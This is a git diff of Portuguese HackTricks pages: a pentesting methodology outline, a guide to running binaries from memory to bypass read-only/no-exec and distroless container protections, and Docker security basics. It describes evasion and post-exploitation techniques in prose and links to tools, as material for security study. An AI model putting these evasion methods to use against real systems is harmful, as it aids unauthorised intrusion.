<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -45,22 +45,22 @@ Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **d
|
|||
|
||||
### 3- [Varredura de Portas - Descoberta de Serviços](pentesting-network/#scanning-hosts)
|
||||
|
||||
A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução em quais portas**. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts).
|
||||
A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução** em quais portas. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [Pesquisando exploits de versões de serviços](search-exploits.md)
|
||||
### **4-** [Pesquisando exploits de versão de serviço](search-exploits.md)
|
||||
|
||||
Depois de saber quais serviços estão em execução, e talvez sua versão, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e encontre um exploit para obter um shell...
|
||||
|
||||
### **5-** Pentesting de Serviços
|
||||
|
||||
Se não houver nenhum exploit interessante para nenhum serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução**.
|
||||
Se não houver nenhum exploit interessante para qualquer serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução**.
|
||||
|
||||
**Dentro deste livro, você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção** _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
|
||||
**Dentro deste livro, você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção** _**PENTESTING**_ **(os serviços estão ordenados pelos portas padrão).**
|
||||
|
||||
**Quero fazer uma menção especial à parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
|
||||
Também, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](search-exploits.md) pode ser encontrado aqui.
|
||||
|
||||
**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se você quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fazendo fuzzing e lendo as respostas** (se houver).
|
||||
**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fuzzing e lendo as respostas** (se houver).
|
||||
|
||||
#### 5.1 Ferramentas Automáticas
|
||||
|
||||
|
@ -68,11 +68,11 @@ Também existem várias ferramentas que podem realizar **avaliações automátic
|
|||
|
||||
#### **5.2 Força Bruta de Serviços**
|
||||
|
||||
Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços para força bruta**](brute-force.md)**.**
|
||||
Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma lista de diferentes serviços para força bruta**](brute-force.md)**.**
|
||||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, **você pode precisar tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
|
||||
Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, **talvez precise tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
|
||||
|
||||
### **7-** [**Obtendo Shell**](shells/)
|
||||
|
||||
|
@ -93,7 +93,7 @@ Se você tiver problemas com o shell, você pode encontrar aqui uma pequena **co
|
|||
Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](exfiltration.md)**.**
|
||||
### **10- Escalação de Privilégios**
|
||||
|
||||
#### **10.1- Privilégios Locais**
|
||||
#### **10.1- Escalação Local**
|
||||
|
||||
Se você **não é root/Administrador** dentro do sistema, você deve encontrar uma maneira de **escalar privilégios.**\
|
||||
Aqui você pode encontrar um **guia para escalar privilégios localmente no** [**Linux**](../linux-hardening/privilege-escalation/) **e no** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
|
@ -106,7 +106,7 @@ Você também deve verificar estas páginas sobre como o **Windows funciona**:
|
|||
|
||||
**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalação de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Privilégios de Domínio**
|
||||
#### **10.2- Escalação de Privilégios de Domínio**
|
||||
|
||||
Aqui você pode encontrar uma [**metodologia explicando as ações mais comuns para enumerar, escalar privilégios e persistir em um Active Directory**](../windows-hardening/active-directory-methodology/). Mesmo que esta seja apenas uma subseção de uma seção, esse processo pode ser **extremamente delicado** em uma atribuição de Pentesting/Red Team.
|
||||
|
||||
|
@ -120,15 +120,15 @@ Encontre aqui diferentes maneiras de [**dump passwords no Windows**](broken-refe
|
|||
#### 11.2 - Persistência
|
||||
|
||||
**Use 2 ou 3 tipos diferentes de mecanismos de persistência para não precisar explorar o sistema novamente.**\
|
||||
**Aqui você pode encontrar alguns** [**truques de persistência no active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Completar post de persistência no Windows & Linux
|
||||
TODO: Completar post de persistência no Windows e Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Com as **credenciais coletadas** você pode ter acesso a outras máquinas, ou talvez precise **descobrir e escanear novos hosts** (iniciar a Metodologia de Pentesting novamente) dentro de novas redes onde sua vítima está conectada.\
|
||||
Neste caso, o tunelamento pode ser necessário. Aqui você pode encontrar [**um post falando sobre tunelamento**](tunneling-and-port-forwarding.md).\
|
||||
Definitivamente, você também deve conferir o post sobre [Metodologia de Pentesting do Active Directory](../windows-hardening/active-directory-methodology/). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e extrair credenciais.\
|
||||
Definitivamente, você também deve conferir o post sobre [Metodologia de Pentesting do Active Directory](../windows-hardening/active-directory-methodology/). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e roubar credenciais.\
|
||||
Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser muito útil para pivotar em ambientes do Windows.
|
||||
|
||||
### MAIS
|
||||
|
@ -149,7 +149,7 @@ Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Oracle de Preenchimento**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ Nos seguintes vídeos, você pode encontrar as técnicas mencionadas nesta pági
|
|||
|
||||
## Cenário de somente leitura / sem execução
|
||||
|
||||
É cada vez mais comum encontrar máquinas Linux montadas com **proteção de sistema de arquivos somente leitura (ro)**, especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos ro é tão fácil quanto definir **`readOnlyRootFilesystem: true`** no `securitycontext`:
|
||||
É cada vez mais comum encontrar máquinas Linux montadas com a proteção do sistema de arquivos em **somente leitura (ro)**, especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos ro é tão fácil quanto definir **`readOnlyRootFilesystem: true`** no `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
No entanto, mesmo que o sistema de arquivos seja montado como ro, **`/dev/shm`** ainda será gravável, então é falso que não podemos escrever nada no disco. No entanto, esta pasta será **montada com proteção sem execução**, então se você baixar um binário aqui, **não poderá executá-lo**.
|
||||
No entanto, mesmo que o sistema de arquivos seja montado como ro, **`/dev/shm`** ainda será gravável, então é falso que não podemos escrever nada no disco. No entanto, esta pasta será **montada com proteção no-exec**, então se você baixar um binário aqui, **não poderá executá-lo**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Do ponto de vista de uma equipe vermelha, isso torna **complicado baixar e executar** binários que não estão no sistema (como backdoors ou enumeradores como `kubectl`).
|
||||
|
@ -62,14 +62,14 @@ Se você deseja executar um binário, mas o sistema de arquivos não permite, a
|
|||
|
||||
### Bypass de chamada de sistema FD + exec
|
||||
|
||||
Se você tiver mecanismos de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **chamada de sistema `exec`** indicando o **fd como o arquivo a ser executado**.
|
||||
Se você tiver motores de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **chamada de sistema `exec`** indicando o **fd como o arquivo a ser executado**.
|
||||
|
||||
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele gerará um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a syscall `create_memfd` e uma chamada à **chamada de sistema exec** para executá-lo.
|
||||
Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a syscall `create_memfd` e uma chamada à **chamada de sistema exec** para executá-lo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema brutas** de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
|
||||
Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema** brutos de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
|
||||
|
||||
Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não terá permissão para executá-lo porque a **proteção sem execução** será aplicada.
|
||||
Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não terá permissão para executá-lo porque a **proteção no-exec** será aplicada.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -93,9 +93,9 @@ Você pode encontrar um exemplo de como usar **memexec para executar binários a
|
|||
|
||||
### Memdlopen
|
||||
|
||||
Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **forma mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.
|
||||
Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.
|
||||
|
||||
## Bypass Distroless
|
||||
## Bypass do Distroless
|
||||
|
||||
### O que é distroless
|
||||
|
||||
|
@ -111,7 +111,7 @@ Em um contêiner distroless, você pode **nem mesmo encontrar `sh` ou `bash`** p
|
|||
Portanto, você **não** poderá obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
|
||||
{% endhint %}
|
||||
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com praticamente qualquer **linguagem de script**.
|
||||
No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com a maioria das **linguagens de script**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
|
||||
|
@ -125,9 +125,9 @@ No entanto, nesse tipo de contêineres, essas proteções geralmente existirão,
|
|||
|
||||
Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades de RCE** para obter **shells reversos de linguagens de script** e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -139,7 +139,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -4,20 +4,20 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas** do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -30,7 +30,7 @@ O **Docker engine** utiliza os **Namespaces** e **Cgroups** do kernel Linux para
|
|||
|
||||
### Acesso Seguro ao Docker Engine
|
||||
|
||||
O Docker engine pode ser acessado localmente por meio de um socket Unix ou remotamente usando HTTP. Para acesso remoto, é essencial empregar HTTPS e **TLS** para garantir confidencialidade, integridade e autenticação.
|
||||
O Docker engine pode ser acessado localmente via um socket Unix ou remotamente usando HTTP. Para acesso remoto, é essencial empregar HTTPS e **TLS** para garantir confidencialidade, integridade e autenticação.
|
||||
|
||||
O Docker engine, por padrão, escuta no socket Unix em `unix:///var/run/docker.sock`. Em sistemas Ubuntu, as opções de inicialização do Docker são definidas em `/etc/default/docker`. Para habilitar o acesso remoto à API e ao cliente do Docker, exponha o daemon do Docker em um socket HTTP adicionando as seguintes configurações:
|
||||
```bash
|
||||
|
@ -38,6 +38,7 @@ DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
|||
sudo service docker restart
|
||||
```
|
||||
No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável garantir conexões usando HTTPS. Existem duas abordagens principais para garantir a conexão:
|
||||
|
||||
1. O cliente verifica a identidade do servidor.
|
||||
2. Tanto o cliente quanto o servidor autenticam mutuamente a identidade um do outro.
|
||||
|
||||
|
@ -47,13 +48,13 @@ Certificados são utilizados para confirmar a identidade de um servidor. Para ex
|
|||
|
||||
As imagens de contêiner podem ser armazenadas em repositórios privados ou públicos. O Docker oferece várias opções de armazenamento para imagens de contêiner:
|
||||
|
||||
* **[Docker Hub](https://hub.docker.com)**: Um serviço de registro público do Docker.
|
||||
* **[Docker Registry](https://github.com/docker/distribution)**: Um projeto de código aberto que permite aos usuários hospedar seu próprio registro.
|
||||
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Oferta de registro comercial do Docker, com autenticação de usuário baseada em funções e integração com serviços de diretório LDAP.
|
||||
* [**Docker Hub**](https://hub.docker.com): Um serviço de registro público do Docker.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Um projeto de código aberto que permite aos usuários hospedar seu próprio registro.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Oferta de registro comercial do Docker, com autenticação de usuário baseada em funções e integração com serviços de diretório LDAP.
|
||||
|
||||
### Verificação de Imagens
|
||||
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** seja por causa da imagem base ou por causa do software instalado em cima da imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a verificação de segurança dos Contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada de imagem do Contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** seja por causa da imagem base ou por causa do software instalado em cima da imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a verificação de segurança dos Contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do Contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
|
||||
Para mais [**informações leia isso**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
|
@ -92,9 +93,9 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
A assinatura de imagem Docker garante a segurança e integridade das imagens usadas em containers. Aqui está uma explicação resumida:
|
||||
|
||||
- **Confiança de Conteúdo Docker** utiliza o projeto Notary, baseado no The Update Framework (TUF), para gerenciar a assinatura de imagens. Para mais informações, consulte [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
|
||||
- Para ativar a confiança de conteúdo Docker, defina `export DOCKER_CONTENT_TRUST=1`. Este recurso está desativado por padrão no Docker versão 1.10 e posterior.
|
||||
- Para ativar a confiança de conteúdo do Docker, defina `export DOCKER_CONTENT_TRUST=1`. Este recurso está desativado por padrão no Docker versão 1.10 e posterior.
|
||||
- Com este recurso habilitado, apenas imagens assinadas podem ser baixadas. O envio inicial da imagem requer a definição de frases-passe para as chaves raiz e de marcação, com o Docker também suportando Yubikey para segurança aprimorada. Mais detalhes podem ser encontrados [aqui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Tentar baixar uma imagem não assinada com confiança de conteúdo habilitada resulta em um erro "No trust data for latest".
|
||||
- Tentar baixar uma imagem não assinada com a confiança de conteúdo habilitada resulta em um erro "No trust data for latest".
|
||||
- Para envios de imagens após o primeiro, o Docker solicita a frase-passe da chave do repositório para assinar a imagem.
|
||||
|
||||
Para fazer backup de suas chaves privadas, use o comando:
|
||||
|
@ -108,7 +109,7 @@ Ao trocar de hosts Docker, é necessário mover as chaves raiz e do repositório
|
|||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e automatizar fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -119,22 +120,25 @@ Acesse hoje:
|
|||
|
||||
<summary>Resumo dos Recursos de Segurança de Contêineres</summary>
|
||||
|
||||
### Recursos Principais de Isolamento de Processos
|
||||
#### Recursos Principais de Isolamento de Processos
|
||||
|
||||
Em ambientes containerizados, isolar projetos e seus processos é fundamental para a segurança e gerenciamento de recursos. Aqui está uma explicação simplificada dos conceitos-chave:
|
||||
|
||||
#### **Namespaces**
|
||||
- **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Especificamente no Docker, os namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
|
||||
- **Uso de `unshare`**: O comando `unshare` (ou a chamada de sistema subjacente) é utilizado para criar novos namespaces, fornecendo uma camada adicional de isolamento. No entanto, enquanto o Kubernetes não bloqueia isso por padrão, o Docker o faz.
|
||||
- **Limitação**: Criar novos namespaces não permite que um processo reverta para os namespaces padrão do host. Para penetrar nos namespaces do host, normalmente seria necessário acesso ao diretório `/proc` do host, usando `nsenter` para entrada.
|
||||
**Namespaces**
|
||||
|
||||
#### **Grupos de Controle (CGroups)**
|
||||
- **Função**: Principalmente usado para alocar recursos entre processos.
|
||||
- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se configurado incorretamente, poderia ser potencialmente explorado para acesso não autorizado.
|
||||
* **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Especificamente no Docker, os namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
|
||||
* **Uso de `unshare`**: O comando `unshare` (ou a chamada de sistema subjacente) é utilizado para criar novos namespaces, fornecendo uma camada adicional de isolamento. No entanto, enquanto o Kubernetes não bloqueia isso por padrão, o Docker o faz.
|
||||
* **Limitação**: Criar novos namespaces não permite que um processo reverta para os namespaces padrão do host. Para penetrar nos namespaces do host, normalmente seria necessário acesso ao diretório `/proc` do host, usando `nsenter` para entrada.
|
||||
|
||||
#### **Descarte de Capacidades**
|
||||
- **Importância**: É um recurso de segurança crucial para o isolamento de processos.
|
||||
- **Funcionalidade**: Restringe as ações que um processo raiz pode executar ao descartar certas capacidades. Mesmo que um processo seja executado com privilégios de root, a falta das capacidades necessárias impede a execução de ações privilegiadas, pois as chamadas de sistema falharão devido a permissões insuficientes.
|
||||
**Grupos de Controle (CGroups)**
|
||||
|
||||
* **Função**: Principalmente usado para alocar recursos entre processos.
|
||||
* **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se configurado incorretamente, poderia ser potencialmente explorado para acesso não autorizado.
|
||||
|
||||
**Descarte de Capacidades**
|
||||
|
||||
* **Importância**: É um recurso de segurança crucial para o isolamento de processos.
|
||||
* **Funcionalidade**: Restringe as ações que um processo raiz pode executar ao descartar certas capacidades. Mesmo que um processo seja executado com privilégios de root, a falta das capacidades necessárias impede a execução de ações privilegiadas, pois as chamadas de sistema falharão devido a permissões insuficientes.
|
||||
|
||||
Essas são as **capacidades restantes** após o processo descartar as outras:
|
||||
|
||||
|
@ -159,17 +163,17 @@ Isso permitirá reduzir capacidades, syscalls, acesso a arquivos e pastas...
|
|||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de forma que um conjunto de **processos veja** um conjunto de **recursos** enquanto **outro** conjunto de **processos** vê um **conjunto diferente** de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Os recursos podem existir em vários espaços.
|
||||
**Namespaces** são um recurso do kernel Linux que **particiona recursos do kernel** de forma que um conjunto de **processos veja** um conjunto de **recursos** enquanto **outro** conjunto de **processos** vê um **conjunto diferente** de recursos. O recurso funciona tendo o mesmo namespace para um conjunto de recursos e processos, mas esses namespaces se referem a recursos distintos. Recursos podem existir em múltiplos espaços.
|
||||
|
||||
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar o isolamento de contêineres:
|
||||
O Docker faz uso dos seguintes Namespaces do kernel Linux para alcançar o isolamento de Containers:
|
||||
|
||||
* namespace pid
|
||||
* namespace mount
|
||||
